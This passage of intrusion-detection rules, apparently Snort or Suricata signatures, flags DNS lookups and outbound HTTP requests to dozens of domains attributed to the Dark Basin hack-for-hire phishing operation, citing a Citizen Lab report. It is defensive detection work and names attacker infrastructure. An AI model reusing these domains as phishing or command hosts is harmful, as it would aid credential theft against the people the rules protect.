content:"|0f|domainmanager33|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354091; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainmanager33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainmanager33|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354092; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainmanager33.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainmanager33.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainmanager33\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354093; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainmanager33.site"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainmanager33|04|site|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354101; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainmanager33.site"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainmanager33|04|site|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354102; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainmanager33.site"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainmanager33.site"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainmanager33\.site[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354103; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainmanager33.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainmanager33|07|website|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354081; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainmanager33.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainmanager33|07|website|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354082; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainmanager33.website"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainmanager33.website"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainmanager33\.website[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354083; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainserver322.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainserver322|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353951; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainserver322.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainserver322|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353952; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainserver322.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainserver322.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainserver322\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353953; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainserver399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainserver399|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354401; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainserver399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainserver399|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354402; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainserver399.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainserver399.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainserver399\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354403; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainserveractive.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainserveractive|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354931; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainserveractive.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainserveractive|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354932; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainserveractive.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainserveractive.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainserveractive\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354933; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainsforfreehosting.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|domainsforfreehosting|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356311; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainsforfreehosting.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|domainsforfreehosting|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356312; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainsforfreehosting.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainsforfreehosting.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainsforfreehosting\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356313; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainsforsupport.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|domainsforsupport|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356321; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainsforsupport.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|domainsforsupport|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356322; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainsforsupport.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainsforsupport.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainsforsupport\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356323; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainsfortechhelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainsfortechhelp|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356331; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainsfortechhelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|domainsfortechhelp|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356332; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainsfortechhelp.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainsfortechhelp.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainsfortechhelp\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356333; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: domainsserver4f.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainsserver4f|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354891; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: domainsserver4f.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|domainsserver4f|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354892; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: domainsserver4f.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"domainsserver4f.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])domainsserver4f\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354893; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: dotnerserversg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|dotnerserversg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355461; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: dotnerserversg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|dotnerserversg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355462; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: dotnerserversg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"dotnerserversg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])dotnerserversg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355463; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: dotnetserverhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|dotnetserverhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355261; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: dotnetserverhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|dotnetserverhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355262; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: dotnetserverhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"dotnetserverhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])dotnetserverhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355263; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: dsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|dsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357331; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: dsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|dsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357332; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: dsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"dsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])dsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357333; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ecom-servicelogin.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|ecom-servicelogin|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353971; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ecom-servicelogin.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|ecom-servicelogin|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353972; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ecom-servicelogin.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ecom-servicelogin.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ecom\-servicelogin\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353973; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: economyfeeds.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|economyfeeds|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357121; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: economyfeeds.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|economyfeeds|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357122; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: economyfeeds.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"economyfeeds.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])economyfeeds\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357123; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: economyservicesil.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|economyservicesil|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357011; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: economyservicesil.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|economyservicesil|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357012; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: economyservicesil.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"economyservicesil.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])economyservicesil\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357013; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ecoserveraus.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|ecoserveraus|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357161; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ecoserveraus.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|ecoserveraus|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357162; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ecoserveraus.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ecoserveraus.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ecoserveraus\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357163; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailauthservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|emailauthservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354291; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailauthservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|emailauthservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354292; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailauthservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailauthservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailauthservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354293; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailbaseserverhl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|emailbaseserverhl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354961; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailbaseserverhl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|emailbaseserverhl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354962; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailbaseserverhl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailbaseserverhl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailbaseserverhl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354963; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emaildeliverysuccess.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|emaildeliverysuccess|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354571; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emaildeliverysuccess.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|emaildeliverysuccess|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354572; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emaildeliverysuccess.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emaildeliverysuccess.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emaildeliverysuccess\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354573; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailhostholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|emailhostholland|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354811; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailhostholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|emailhostholland|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354812; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailhostholland.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailhostholland.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailhostholland\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354813; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailhostsecurehk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|emailhostsecurehk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354511; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailhostsecurehk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|emailhostsecurehk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354512; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailhostsecurehk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailhostsecurehk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailhostsecurehk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354513; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailmappingservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|emailmappingservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354301; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailmappingservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|emailmappingservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354302; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailmappingservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailmappingservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailmappingservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354303; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailsecurenode.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailsecurenode|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354481; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailsecurenode.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailsecurenode|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354482; rev:1; 